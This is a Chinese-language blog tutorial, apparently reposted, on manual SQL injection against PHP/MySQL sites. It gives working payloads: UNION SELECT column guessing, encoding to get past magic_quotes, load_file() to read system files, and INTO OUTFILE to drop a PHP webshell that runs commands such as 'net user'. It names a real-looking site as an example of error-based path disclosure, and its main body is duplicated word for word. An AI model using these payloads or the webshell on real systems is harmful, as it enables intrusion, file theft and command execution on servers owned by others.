PHP注入基礎
PHP注入不象ASP那樣有NBSI之類的超強工具,其實知道他的注入原理後,完全可以實現手工注入。
在php.ini中有一個配置選項magic_quotes_gpc=on/off當=ON時會把提交變數中的單引號,雙引號,反斜線,空白字元前面加上反斜線變成轉義字元,遇到這種情況,我們可以把提交語句用ASC或0X進行編碼舊可以饒過了。有幾個比較關鍵的語句,一是UNION,通過並運算查詢當前表中欄位,用與將多個SELECT語句的結果聯合到一個結果集中,可以用它猜欄位,EG:id=1234 and 1=2 union select 1,2,3,4…。猜出後會在相應地方出現數字對應。load_file()用來返回檔案裡的內容,注意的是要寫明全檔案路徑和名稱,當然會出現檔案讀不出來的問題,原因很多主要是許可權問題,還有檔案是否可讀,MYSQL使用者是否具有FILE許可權,還有就是些程式碼處理問題了用相關函式或者查原始碼就可以了。EG:load_file(`c:/boot.ini`),可以嵌入到UNION查詢中,在相應的數字的位置上就會顯示出你要得系統檔案了。into outfile用來把表中內容寫入檔案,假設我們可以上傳圖片,上傳後路徑為:/upload/111.jpg,圖片中的內容是一個很簡單的系統變數<?phpsystem($cmd)?>,提交語句:id=1234 and 1=2 union select 1,2,load_file(`d:/xxx/xxxx/down/upload/111.jpg`),4 into file`d:/xxx/xxxx/down/muma.php`(以前看過這個列子,記得最清楚了,嘿嘿~~),接著我們去看[url]http://www.xxx.com/down/muma.php?cmd=net user[/url],就可以執行命令了,注意的是MYSQL5。0以下不支援AND連線兩個表查詢。 得到WEBSHELL還可以找一個可寫的目錄插入資料然後再匯出到相應檔案(如下),…很多方法。
CREATE TABLE file (cmd text NOT NULL)
INSERT INTO file (cmd) VALUES ()
select cmd from file into outfile filepath
DROP TABLE IF EXISTS file
有些站測試提交單引號就可以暴露很多資訊是因為在php.ini中選項display_errors=on,會返回錯誤資訊,象提交:[url]http://www.shyau.com.tw/article.php?sid=140[/url]`,結果呢?:Warning: Supplied argument is not a valid MySQL result resource in d:foxservwwwshyauincludessql_layer.php on line 230
Warning: Supplied argument is not a valid MySQL result resource in d:foxservwwwshyauincludessql_layer.php on line 230路徑都出來了,暈。
有時當提交單引號不能返回錯誤資訊時,可以增加查詢負值或改變查詢型別,例如:id=1234我們可以提交:id=11111….(邊界檢查不徹底)或id=ssss(第一次見還是在X擋案看無敵的文章,原來這也可以啊)也有可能暴出敏感資訊。
在php.ini中有一個配置選項magic_quotes_gpc=on/off當=ON時會把提交變數中的單引號,雙引號,反斜線,空白字元前面加上反斜線變成轉義字元,遇到這種情況,我們可以把提交語句用ASC或0X進行編碼舊可以饒過了。有幾個比較關鍵的語句,一是UNION,通過並運算查詢當前表中欄位,用與將多個SELECT語句的結果聯合到一個結果集中,可以用它猜欄位,EG:id=1234 and 1=2 union select 1,2,3,4…。猜出後會在相應地方出現數字對應。load_file()用來返回檔案裡的內容,注意的是要寫明全檔案路徑和名稱,當然會出現檔案讀不出來的問題,原因很多主要是許可權問題,還有檔案是否可讀,MYSQL使用者是否具有FILE許可權,還有就是些程式碼處理問題了用相關函式或者查原始碼就可以了。EG:load_file(`c:/boot.ini`),可以嵌入到UNION查詢中,在相應的數字的位置上就會顯示出你要得系統檔案了。into outfile用來把表中內容寫入檔案,假設我們可以上傳圖片,上傳後路徑為:/upload/111.jpg,圖片中的內容是一個很簡單的系統變數<?phpsystem($cmd)?>,提交語句:id=1234 and 1=2 union select 1,2,load_file(`d:/xxx/xxxx/down/upload/111.jpg`),4 into file`d:/xxx/xxxx/down/muma.php`(以前看過這個列子,記得最清楚了,嘿嘿~~),接著我們去看[url]http://www.xxx.com/down/muma.php?cmd=net user[/url],就可以執行命令了,注意的是MYSQL5。0以下不支援AND連線兩個表查詢。 得到WEBSHELL還可以找一個可寫的目錄插入資料然後再匯出到相應檔案(如下),…很多方法。
CREATE TABLE file (cmd text NOT NULL)
INSERT INTO file (cmd) VALUES ()
select cmd from file into outfile filepath
DROP TABLE IF EXISTS file
有些站測試提交單引號就可以暴露很多資訊是因為在php.ini中選項display_errors=on,會返回錯誤資訊,象提交:[url]http://www.shyau.com.tw/article.php?sid=140[/url]`,結果呢?:Warning: Supplied argument is not a valid MySQL result resource in d:foxservwwwshyauincludessql_layer.php on line 230
Warning: Supplied argument is not a valid MySQL result resource in d:foxservwwwshyauincludessql_layer.php on line 230路徑都出來了,暈。
有時當提交單引號不能返回錯誤資訊時,可以增加查詢負值或改變查詢型別,例如:id=1234我們可以提交:id=11111….(邊界檢查不徹底)或id=ssss(第一次見還是在X擋案看無敵的文章,原來這也可以啊)也有可能暴出敏感資訊。
mysql也有內建變數,version()返回當前資料庫版本資訊,database()返回當前資料庫名,user(),system_user(),session_user()返回MYSQL使用者名稱,可以幫助我們獲得更多資訊。這些都是很基礎的東西,更多的技術還要大家自己發現,文章含蓋並不全,有些資料細節往大家查詢PHP中文手冊。~~
本文轉自loveme2351CTO部落格,原文連結: http://blog.51cto.com/loveme23/8585,如需轉載請自行聯絡原作者
相關文章
- PHP 依賴注入基礎理解PHP依賴注入
- 網路安全系列之十八 MySQL基本操作(PHP注入基礎)MySqlPHP
- PHP 基礎PHP
- PHP基礎PHP
- MySQL資料庫注入基礎MySql資料庫
- php注入PHP
- 【PHP基礎】1PHP
- PHP基礎教程-01 PHP概述PHP
- PHP 開發基礎PHP
- PHP基礎知識PHP
- PHP 系列:PHP Web 開發基礎PHPWeb
- Util應用框架基礎(一) - 依賴注入框架依賴注入
- .NET Core基礎篇之:依賴注入DependencyInjection依賴注入
- Java Web系列:Spring依賴注入基礎JavaWebSpring依賴注入
- PHP 基礎知識-1PHP
- PHP物件基礎知識PHP物件
- PHP基礎---檔案包含PHP
- PHP物件導向基礎PHP物件
- PHP--基礎語法PHP
- PHP基礎__變數、常量PHP變數
- php學習基礎(2)PHP
- PHP快速上手(03):PHP語言基礎PHP
- PHP基礎教程-03 搭建PHP環境PHP
- PHP基礎知識——PHP偽協議PHP協議
- 理解php物件注入PHP物件
- PHP SQL防注入PHPSQL
- php注入專題PHP
- PHP基礎教程-23 在HTML中使用PHPPHPHTML
- PHP基礎教程-26 連結PHP檔案PHP
- PHP新手總結的PHP基礎知識PHP
- Frida-跨平臺注入工具基礎篇
- PHP 函式基礎鞏固PHP函式
- PHP 物件導向基礎概念PHP物件
- PHP->GO 基礎-函式PHPGo函式
- PHP->GO 基礎-變數PHPGo變數
- 後端 - Lession 01 PHP 基礎後端PHP
- 《簡明 PHP 教程》04 基礎PHP
- PHP快速上手(11):HTML基礎PHPHTML